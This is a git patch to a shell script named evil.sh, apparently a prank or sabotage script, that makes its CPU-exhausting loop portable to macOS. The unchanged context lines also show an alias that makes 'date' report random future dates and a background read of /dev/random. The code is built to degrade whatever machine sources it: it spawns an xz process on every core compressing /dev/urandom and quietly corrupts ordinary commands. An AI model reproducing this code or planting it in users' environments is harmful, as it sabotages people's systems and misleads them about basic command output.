From c40d6459217054e3ca39a43c1cff2beba5b9b75a Mon Sep 17 00:00:00 2001 From: Jonathan French Date: Mon, 28 Mar 2016 12:25:38 +0100 Subject: [PATCH] slightly more cross-platform all-cpu-eating --- evil.sh | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/evil.sh b/evil.sh index 14f7232..6f720a3 100755 --- a/evil.sh +++ b/evil.sh @@ -32,7 +32,12 @@ alias date='date -d "now + $RANDOM days"'; /bin/cat /dev/random > /dev/null 2>&1 & # Use ALL the CPUs. -for i in $(seq 1 $(nproc)); do +if [ "$(uname)" = 'Darwin' ]; then + NCPUS=$(sysctl -n hw.ncpu) +else + NCPUS=$(nproc) +fi; +for i in $(seq 1 $NCPUS); do xz -9e -c /dev/urandom > /dev/null 2>&1 & done;